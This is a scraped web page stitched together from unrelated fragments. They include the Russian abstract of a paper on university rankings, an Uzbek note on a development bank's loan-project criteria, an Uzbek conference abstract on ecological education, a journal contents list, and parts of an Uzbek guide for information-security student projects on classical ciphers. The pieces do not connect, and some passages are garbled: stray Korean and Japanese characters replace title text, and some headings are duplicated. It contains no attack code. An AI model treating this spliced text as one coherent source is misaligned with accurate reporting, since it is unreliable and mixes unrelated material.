высших учебных заведений, который показал основные точки зрения обуча-
ющихся на развитие системы образования.
Приведены рекомендации для
увеличения престижа российских вузов в международных рейтингах.
КЛЮЧЕВЫЕ СЛОВА:
рейтинг, университет, развитие образования, нацио-
нальный рейтинг, международный рейтинг,
конкурентоспособность вузов,
проект 5-100, национальный проект, высшее образование
ОБ АВТОРАХ
Валюхова Мария Александровна,
студентка факультета «Высшая шко-
ла управления» (mari.valuhova@mail.ru)
Мамедова Назрин Ровшановна,
студентка факультета «Высшая
школа
управления» (nazrin.mamedova@internet.ru)
Бровчак Сергей Валентинович,
кандидат экономических наук, до-
цент департамента страхования и экономики социальной сферы
(profstandart@asprof.ru)
Валюхова М.А. ¹, Мамедова Н.Р. ¹, Бровчак С.В. ¹
1
Финансовый университет при Правительстве Российской Федерации, Москва, Россия
Рейтинг как ключевой фактор развития
университета в рамках национального
проекта «Образование»
— 2530 —
CITE AS:
Valyukhova M.A., Mamedova N.R., Brovchak S.V. (2021). Reyting kak klyuche-
voy faktor razvitiya universiteta v ramkakh natsionalnogo proekta «Obrazovanie»
[Ranking as a key factor in the development of the university within the frame-
work of the national project].
Kreativnaya ekonomika. 15
. (6). – 2529–2550.
doi:
10.18334/ce.15.6.112110
ABSTRACT:
This article deals with the issue of university ranking and its inﬂ uence on the
development of higher education competitiveness in Russia.
A comparative
analysis of basic international and national rankings, their criteria, indicators and
indices is conducted. The topical problems of non-competitiveness of Russian
universities in comparison with world universities are revealed.
A survey among the
students of various higher educational institutions was also conducted. The survey
showed the main points of view of students on the development of the education
system. Recommendations for increasing the prestige of Russian universities in
international rankings are given.
KEYWORDS:
ranking, university, education
development, national ranking,
international ranking, university competitiveness, 5-100 project, national project,
higher education
JEL Classiﬁ cation:
I21, I23, I25, I26
Received:
30.04.2021 /
Published:
30.06.2021
© Author(s) / Publication:
CREATIVE ECONOMY Publishers
For correspondence:
Valyukhova M.A. (mari.valuhova@mail.ru)
OTB qarz taqdim etish uchun loyihalarni qanday mezonlar asosida tanlaydi?

|
OTB qarz taqdim etish uchun loyihalarni qanday mezonlar asosida tanlaydi?
|
bet | 3/3 | Sana | 13.06.2024 | Hajmi | 1,15 Mb. | | #263472 |
Bog'liq Davlat Xaridi mustaqil ishOTB qarz taqdim etish uchun loyihalarni qanday mezonlar asosida tanlaydi? - Sektorni rivojlantirishga bo‘lgan ehtiyoj.
- Biz qo‘shish mumkin bo‘lgan qo‘shimcha qiymat va imkoniyatlarimiz.
- Loyihani amalga oshirish uchun ma’sul tegishli vazirlik va idoralarning o‘zlashtirish salohiyati.
- Tashqi qarz olishda Hukumatning cheklovlari.
- Taklif etilayotgan loyihalarning amalga oshirishga tayyorligi.
- Loyihaga xususiy sektorni jalb qilish usullari.
Foydalanilgan adabiyotlar : 1. J.X. ATANIYAZOV, F.A. XAMIDOVA, M.B. PULATOVA” Xalqaro moliya institutlari” 2020 2.https://review.uz 3. https://gazeta.uz 4. https://Spot.uz/ 5. http://www.worldbank.org 6.http:// www.globaleconomiccrisis.com
|
| |
Foydalanish texnologiyasi

10
th
- International Conference on Research in Humanities, Applied Sciences and Education
Hosted from Berlin, Germany
https://conferencea.org Jan. 30
th
2023
17
BOSHLANG‘ICH SINF O‘QUVCHILARIDA EKOLOGIK TAFAKKURNI
SHAKLLANTIRISHDA O‘RTA OSIYO MUTAFAKKIRLARI MEROSIDAN
FOYDALANISH TEXNOLOGIYASI
Xo‘shboq Norbo‘tayev Bobonazarovich,
Termiz davlat pedagogika instituti dotsenti, pedagogika fanlari doktori (DSc)
Dilshod Suyunov Abdullayevich
Termiz davlat pedagogika instituti
Boshlang’ich ta’lim metodikasi kafedrasi o’qituvchisi
Annotatsiya
Mazkur maqolada boshlang‘ich sinf o‘quvchilarida ekologik tafakkurni shakllantirishda O‘rta
Osiyo mutafakkirlari
merosidan foydalanish, bilimlarni o‘zlashtirishning ahamiyati, tabiiy
fanlarni o‘qitishda o‘quvchilarda ekologik mazmunidagi bilimlarni takomillashtirish,
muammoli
vaziyatlarni yaratish, shuningdek, umumta’lim maktabi o‘quv rejalari va
dasturlariga tabiat-jamiyat o‘rtasidagi aloqalarni uyg‘unlashtirish,atrof -muhitga jiddiy
munosabatlarni fanlararo aloqadorlikda o‘rnatish
masalalari, o‘quvchilarning
ekologik
tafakkuri, ularning dunyoqarashi, hatti-harakati, boshlang‘ich sinf o‘quvchilarida ekologik
tafakkurni shakllantirishda O‘rta Osiyo mutafakkirlari merosidan foydalanish jarayoni,
o‘qitishda atrof-muhit muhofazasi, o‘qitish metodlari,
vositalari, boshlang’ich sinf
o’quvchilarida ekologiyaga oid ijobiy munosabatlari va qarashlari va tabiat o’rtasidagi
munosabatlar haqidagi ilmiy manbalarni singdirish jihatlari keltirilgan.
Tayanch so‘
zlar: tabiiy resurs, boshlang’ich sinf, tabiiy fanlar, ekologik muhit, tugaydigan
va tugamaydigan resurs, ta’lim, ehtiyoj, shakl, metod, vosita, ekologik madaniyat,
foydalanish, meros, manba, o’qitish, Tabiat, munosabat, tushuntirish.
Boshlang‘ich sinf o‘quvchilarida tabiiy fanlarga oid bilim, ko‘nikma,
malaka va
kompetensiyalarni egallashi lozim. Ushbu malakalar ekologik tafakkur bilan chambarchas
bog‘liq. Boshlang‘ich sinf o‘quvchilari tabiatni bilishlari, ekologik bilim, ekologik tafakkur,
inson faoliyati va tabiat o‘rtasidagi munosabatlar haqidagi ilmiy manbalar boshlang‘ich sinf
o‘quvchilariga tabiiy o‘quv fanlari negizida beriladi. Shuningdek, inson yashashi uchun havo,
suv, quyosh qanday kerak bo‘lsa, o‘simlik va hayvonlar ham shunday kerakligi, ular
o‘rtasidagi tabiiy bog‘liqliklar ochib berilgan[1].
Boshlang‘ich sinflarda tabiiy fanlar bo‘yicha darslarni tashkil etishda tabiiy muhit
holatining inson ta’sirida o‘zgarishi, jonli va jonsiz komponentlarga
insonning kuchli
antropogen ta’siri tufayli ekologik muammolar vujudga kelayotganligi, sanoat
mahsulotlaridan atmosferaning ifloslanishi ekologik muammolarni vujudga keltirganligi, еr
「〜◦ 요너야비드卜
sаmаrаdorligi hdmdd uni bаxolаshning uslubiy
52-58
yondаshuvlаri
P e d a g o g ik a / P e d a g o g y

|
「〜◦ 요너야비드卜
sаmаrаdorligi hdmdd uni bаxolаshning uslubiy
52-58
yondаshuvlаri
P e d a g o g ik a / P e d a g o g yBog'liq 7-maqola「〜◦ 요너야비드卜
sаmаrаdorligi hdmdd uni bаxolаshning uslubiy
52-58
yondаshuvlаri
P e d a g o g ik a / P e d a g o g y
13.
K. Kaziyev,
Sh. Bisenova,
F. Khamidullayev
Reflection as a quality for effective professional activities and self-development
59-63
14.
G. Umirova
Iqtisodiyotimizni rivojlantirishda innovatsiyalarning tutgan o‘rni va roli
64-66
15.
F. B erdibekova
Akmeologik yondashuv asosida o'qituvchilarning kasbiy mahoratini rivojlantirish
67-70
16.
M. Salayeva
M. Djumabaeva
Bo‘lajak pedagoglarni kasbiy tayyorlash jarayonida kreativ faoliyatini rivojlantirish
71-74
17.
B. Ergasheva
Kompetensiyaviy yondashuv asosida bo‘lajak tarbiyachilarni kasbiy faoliyatga
75-77
tayyorlash texnologiyasi pedagogik muammo sifatida
18.
M. Baqoyeva
Maktabgacha katta yoshdagi tarbiyalanuvchilarda bilishga qiziqishni rivojlantirish
78-81
texnologiyasi
19.
L. A xmadaliyev
Qayyumiy” asaridagi N
으
3-16-fiqralarning tazkira qo‘lyozma va nashri o‘rtasidagi
82-88
matniy-qiyosiy tadqiqi
20.
S. Muxabbat
O‘zbek pedagogikasi tarixini davrlashtirishning nazariy asoslarini takomillashtirish
89-92
tarixiy-pedagogik zarurat sifatida
21.
A Tangriyev
Yosh dzyudochilarda tezkor-kuch qobiliyatining samaradorligini oshirish
93-95
Fizik a / P h y sics
22.
G. Nafasova
Bo‘lajakfizika o‘qituvchilarida mantiqiy kompetentliligini rivojlantirishning
96-97
didaktik imkoniyatlari
23.
G‘. Nafasov
D. Abduraimov
Transversal izotrop jism uchun ikki o‘lchovli termoelastik bog‘liq masalani sonli
modellashtirish va uning dasturiy ta'minoti
98-103
Lin g v is tik a / Lin g u is tic s
24.
M. Xolova
O. Lolayeva
|
| |
Asosiy  q - Individual loyiha ishi

|
Individual loyiha ishi
|
bet | 4/9 | Sana | 21.05.2024 | Hajmi | 0,63 Mb. | | #248295 |
Bog'liq IL 2 Uslubiy ko\'rsatmaAsosiy qism
Bu qismda individual loyiha vazifasi qilib berilgan mavzu to‘liq ravishda yoritilishi shart. Unda mavzuga qarab, tanlangan mavzu bo‘yicha tayyorlangan modul materialni to‘la matni, undan foydalanishni algoritmi yoritilishi kerak.
Individual loyiha quydagilarni o‘z ichiga olishi lozim:
Mavzu bo‘yicha modulni to‘la matni;
a) nazariy materiallar;
b)nazariy materiallar bo‘yicha o‘zlashtirish uchun savollar;
v)nazariy bilimlar bo‘yicha zaruriy topshiriqlar.
Mustaqil o‘rganuvchi bajarishi lozim bo‘lgan vazifalar;
Multimedia o‘quv materiallariga zaruriy xollarda o‘zgartirishlar kiritishi metodikasi;
Ta’lim oluvchini multimediali o‘quv materialiga murojat qilishi algoritmi;
Xulosa.
Xulosa qismida mavzuda berilgan vazifani yoritish jarayonida talabada paydo bo‘lgan ijodiy fikrlar to‘g‘risida va o‘rganilgan tizimni takomillashtirish usullari xaqida, boshqa shu tipdagi qurilmalarning afzalliklari ko‘rsatilishi mumkin.
Foydalaniladigan adabiyotlar ro‘yxati.
Adabiyotlar ro‘yxati bibliografiya qoidalariga rioya qilgan xolda yozilgan bo‘lishi kerak: muallifning familiyasi, ismi, adabiyotning nomi, nashriyot nomi, chiqarilgan yili. adabiyotlar tartib bilan yoziladi. Raqamlar tushuntirish xatida shu adabiyotga murojat qilish uchun ishlatiladi.
II.Individual loyiha ishiga namuna
(1-Ilova)
O’ZBEKISTON RESPUBLIKASI RAQAMLI TEXNOLOGIYALARI VAZIRLIGI
TOSHKEN AXBOROT TEXNOLOGIYALARI UNIVERSITETI FARG’ONA FILIALI
“DASTURIY INJINIRING VA RAQAMLI IQTISODIYOT” FAKULTETI
“AXBOROT XAVFSIZLIGI” KAFEDRASI
|
| |
- “Axborot xavfsizligi” yo‘nalishi

60610300 - “Axborot xavfsizligi” yo‘nalishi
_______kurs ______- gurux talabasi
_______________________________________________________________ning
“_________________________________________________________________
________________________________________________________________” mavzusida
Individual loyiha ishi
|
|
Talaba:___________ ________ _________________
|
Kommisiya a’zosi: _______ _____________
|
(imzo) (FISH)
|
(imzo) (FISH)
|
Loyiha rahbari: ________ ____________
|
Kommisiya a’zosi: _______ _____________
|
(imzo) (FISH)
|
(imzo) (FISH)
|
Kafedra mudiri: _______ ______________________ ____________________
(imzo) (FISH)
Farg‘ona-202_ y
(2-Ilova)
“TASDIQLAYMAN”
Kafedra mudiri___________________
« » _______________202_ y.
INDIVIDUAL LOYIHA ISHINI ISHINI BAJARISH UCHUN TOPSHIRIQ
Talaba: __________________________________________________________
(F.I.SH)
Individual loyiha mavzusi____________________________________________
_________________________________________________________________
Individual loyiha tarkibi va mazmuni:
____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
Kerakli ekran rasmlari ro‘yxati________________________________________
__________________________________________________________________
__________________________________________________________________
Foydalanadigan adabiyotlar ro‘yxati _________________________________
____________________________________________________________________________________________________________________________________
Kalendar reja:
Individual loyiha rahbari: _________________________ ______________
(F.I.SH) (imzo)
Topshiriqni oldim________________________________ ______________
(F.I.SH) (imzo)
Talaba tomonidan bajarilgan Individual loyiha namunasi
Mavzu: Klassik simmetrik kriptotizimlar va ularning tahlili
|
II.Individual loyiha ishiga namuna

|
II.Individual loyiha ishiga namuna
|
bet | 2/9 | Sana | 21.05.2024 | Hajmi | 0,63 Mb. | | #248295 |
Bog'liq IL 2 Uslubiy ko\'rsatmaII.Individual loyiha ishiga namuna…………………………………....
|
8
|
Titul varog‘i (1-ilova)…………………………………………………….
|
8
|
Topshiriq xati (2-ilova)…………………………………………………..
|
9
|
Mundarija (namuna)……………………………………………………...
|
10
|
Kirish (namuna)…………………………………………………………..
|
11
|
I BOB (namuna)………………………………………………………….
|
12
|
II BOB (namuna)…………………………………………………………
|
16
|
Xulosa (namuna)…………………………………………………………
|
20
|
Foydalanilgan adabiyotlar ro‘yxati (namuna)……………………………
|
21
|
Ilovalar (namuna)………………………………………………………...
|
22
|
III. Qaydlar uchun……………………………………………………...
|
23
|
I. Individual loyihani bajarish bo‘yicha umumiy qoidalar
1.1. Individual loyihaning maqsadi.
Individual loyiha, mutaxassislikka oid bilimlarni mustaqil amalga oshirish jarayonidir. U nazariy va amaliy ishlanmalardan tashqil topadi va yo‘nalishga muvofiq mavzuda bajariladi. Mutaxassis fanlarni o‘rganilgandan olingan barcha bilimlar va ko‘nikmalarni o‘zida mujassamlashtiradi. Individual loyiha talabalarni mustaqil loyihalarni ishlab chiqish va amaliyotga tadbiq etish yo‘llari va usullarini o‘rganishni amalga oshiradi.
Uslubiy ko‘rsatmada Individual loyiha tayyorlashning barcha elementlari xaqida umumiy tushuncha, mavzuga muvofiq bo‘lgan ma’lumotlar xamda axborot xavfsizligi sohasida bilm va ko‘nikmalarni oshirib borishda mustaqil yondashuvlarga tayangan holda loyihalarni amalga oshirish, korxona va tashkilotlarda zaiflik va xavf-xatarlarni aniqlash va bartaraf etish usullarini o‘rganish, axborot xavfsizligi siyosati qoidalari to‘g‘risida xulosaga kelish kabi bosqichlarni o‘z ichiga oladi.
Individual loyihada berilgan mavzu bo‘yicha vazifani nazariy jihatdan tahlil qilib, uni to‘liq yoritib berish va tasavvur qilish malakasini shakllantirishni asos qilib olingan. Unda quyidagi umumiy topshiriqlarni bajarish ko‘zda tutilgan:
- vazifani nazariy jixatdan o‘rganib chiqish;
- Axborot xavfsizligi sohalarini tadqiq etish;
- berilgan mavzular bo‘yicha modulni shakllantirish yo‘llarini ko‘rsatish;
- Mutaxassislikka mos loyihalarni amalga oshirish.
Bundan tashqari Individual loyihada talabadan barcha axborot xavfsizligi vazifalarini nazariy jixatdan bilishni maqsad etib qo‘yilgan.
Individual loyiha mavzularini rahbar professor-o‘qituvchi ko‘magida mustaqil sohaga oid talabani o‘zi qiziqqan yo‘nalishda shakillantiriladi.
Individual loyihaning mavzulari talabalar tomonidan tanlangandan so‘ng, dekan farmoishiga muvofiq ravishda tasdiqlanadi.
Individual loyiha mavzusi ishning hajmiga qarab, bir necha talaba bilan jamoaviy tarizda ham bajarilishi mumkin. Bunda xar bir talabani loyihadagi ishtroki alohida ko‘rsatilib o‘tiladi.
|
| |
I BOB. KLASSIK KRIPTOGRAFIK TIZIMLAR TADQIQI

|
I BOB. KLASSIK KRIPTOGRAFIK TIZIMLAR TADQIQI
|
bet | 7/9 | Sana | 21.05.2024 | Hajmi | 0,63 Mb. | | #248295 |
Bog'liq IL 2 Uslubiy ko\'rsatma I BOB. KLASSIK KRIPTOGRAFIK TIZIMLAR TADQIQI 1.1 Axborotlarni kriptografik himoyalash.
Qadim zamonlardan beri inson mo‘‘jizalar, sirli voqea va hodisalar sababi hamda mohiyati haqida axborot olishga intilgan. Axborot inson tili va yozuvida o‘z aksini topadi. Dastlabki yozuvlar o‘ziga xos bo‘lgan kriptografik tizim bo‘lib, qadimgi jamoalarda ularni faqat nufuzli shaxslargina tushunishgan. Qadimiy Misr va Hindistonda mavjud bo‘lgan ilohiy kitoblar bunga misol bo‘la oladi. Bundan 4000 yil avvalgi davrga oid eng qadimiy shifrmatn Messopatamiya qazilmalarida topilgan. Unda loydan ishlangan taxtachada o‘ymakor yozuvda tijorat siri – kulolchilik buyumlarini glazurlash retsepti yozilgan. Qadimiy Misrda shifrlangan diniy matnlar va tibbiy retseptlar ham mavjud bo‘lgan.
Kriptologiya (grekchada kryptos - “sirli” va logos -“xabar”) deganda aloqa xavfsizligi haqidagi fan tushuniladi. U aloqa kanallari orqali axborotning xavfsizligini ta’minlab saqlash hamda uzatish tizimlarini yaratish va tahlillash to‘g‘risidagi fandir. Kriptologiya ikki ilmiy irmoqqa ajraladi. Bular kriptografiya va kriptotahlildir [1-10].
Kriptografiya axborot almashtirish tamoyillari, vosita va usullari bilan shug‘ullanadigan fan sohasi bo‘lib, uning maqsadi axborot mazmunidan beruxsat erkin foydalanishdan muhofazalash va axborotni buzishning oldini olish hisoblanadi.
Kriptotahlil shifrni yoki har qanday boshqa shakldagi kriptografiya ob’ektining sirini ochish san’ati va ilmi bo‘lib, kalitni bilmasdan turib shifrlangan matndan dastlabki matnni olish yoki dastlabki matn va shifrlangan matn bo‘yicha kalitni hisoblash jarayonidir.
Kriptotahlil usullari tarixi kriptografiya tarixi bilan egizdir.
Kalitdan foydalangan holda alohida qoidalar bo‘yicha ochiq (dastlabki) ma’lumotlar to‘plamini shifrlangan ma’lumotlar to‘plamiga almashtirish uchun amalga oshiriladigan qaytar almashtirishlar majmui shifr deb ataladi.
Dastlabki ochiq matnni uning ma’nosini berkitish maqsadida shifrlangan ma’lumotga o‘girish natijasi shifrmatn (shifrma’lumot) deb ataladi.
Keng ma’noda axborotni shifrlash deganda shifrmatnga o‘girish jarayoni tushuniladi.
Dastlabki ma’lumotlar (axborotlar)ni shifr (kalit) yordamida shifrlangan ma’lumotlarga almashtirish jarayoni ma’lumotlarni shifrmatnga o‘girish (yoki tor ma’noda shifrlash) jarayoni deyiladi (1-rasm).
1-rasm. Ma’lumotlarni shifrmatnga o‘girish jarayoni
Shifrmatnga o‘girilgan ma’lumotlarni shifr (kalit) yordamida dastlabkisiga almashtirish ma’lumotlarni dastlabki matnga o‘girish (yoki tor ma’noda deshifrlash) jarayoni deyiladi (2-rasm).
2-rasm. Ma’lumotlarni dastlabki matnga o‘girish jarayoni
…………………………………………………………….(matn)
|
| |
Individual loyiha ishi - bet 6

|
Individual loyiha ishi
|
bet | 6/9 | Sana | 21.05.2024 | Hajmi | 0,63 Mb. | | #248295 |
Bog'liq IL 2 Uslubiy ko\'rsatma
Mundarija
Individual loyiha tarkibi va mazmuni: 10
Talaba tomonidan bajarilgan Individual loyiha namunasi 11
Mavzu: Klassik simmetrik kriptotizimlar va ularning tahlili 11
Kirish 12
I BOB. KLASSIK KRIPTOGRAFIK TIZIMLAR TADQIQI 13
1.1 Axborotlarni kriptografik himoyalash. 13
1.2 Simmetrik kriptotizimlarda ma’lumotlarni shifrlash va deshifrlash. 15
1.3Mavjud klassik kriptotizimlar va ularning tadqiqi. 17
II BOB Affin tizimidagi Sezar shifrlash usulida ma’lumotlarni shifrlash va deshifrlash. 18
2.1 Affin tizimidagi Sezar shifrlash usulida ma’lumotlarni shifrlash 18
2.2 Affin tizimidagi Sezar shifrlash usulida ma’lumotlarni deshifrlash 19
………………………………………………………….(matn) 20
2.3Affin tizimidagi Sezar shifrlash algoritmining dasturiy ta’minoti. 20
Xulosa 22
Foydalanilgan adabiyotlar 23
Ilovalar. 24
Kirish
Axborot va kommunikatsiya texnologiyalari, ma’lumotlarni uzatish tarmoqlarining rivojlanishi hozirgi kunda bizlarga ko‘pgina qulayliklar va yangiliklarni taqdim etmoqda. Lekin shu bilan birga ma’lumotlarni uzatish tarmoqlaridan foydalanish xajmining ortishi uni xavfsizligini ta’minlash borasida qiyinchiliklarni yuzaga keltirmokda. Ma’lumotlarni uzatish tarmoqlarida axborot xavfsizligini ta’minlashning asosiy masalalaridan biri bu axborot xavfsizligini tahlil kilish masalasidir.
Hozirgi kunda dunyo mamlakatlarida va O’zbekiston hududida axborot texnologiyalari soxasida juda ham tezlik bilan rivojlanish bormokda. Kundan kunga rivojlanish bor ekan, turli xilda tartib buzarliklar sodir bo‘ladi. Natijada jinoyatga yo‘l ko‘yiladi, bu jinoyatchilik komp’yuter jinoyatchiligi deb ham yuritiladi. Bu jinoyatchilarga qarshi butun dunyo bo‘ylab kurash olib borilmokda, shu katori O’zbekiston Respublikasida ham. Afsuski bu harakatlar o‘z natijasini to‘lakonli ravishda oqlay olganicha yo‘k. Chunki zamonoviy texnikalar bilan taminlangan komp’yuter jinoyatchilari ko‘pchilik joylarda o‘z ustunligi bilan oldinda bormoqda. Ma’lumotlarni uzatish tarmoqlarida axborot xavfsizligini ta’minlashning asosiy masalalaridan biri bu axborot xavfsizligini tahlil qilish masalasidir.
Axborot xavfsizligini xukukiy ta’minlashning asosini O’zbekiston Respublikasi Jinoyat kodeksi normalari, “Axborotlashtirish to‘g‘risida”gi qonun, “Elektron rakamli imzo to‘g‘risida”gi, “Elektron tijorat to‘g‘risida”gi bir qator qonunlarda ko‘zda tutilgan moddalar tashkil etadi.
…………………..…………………………………………………(matn)
|
| |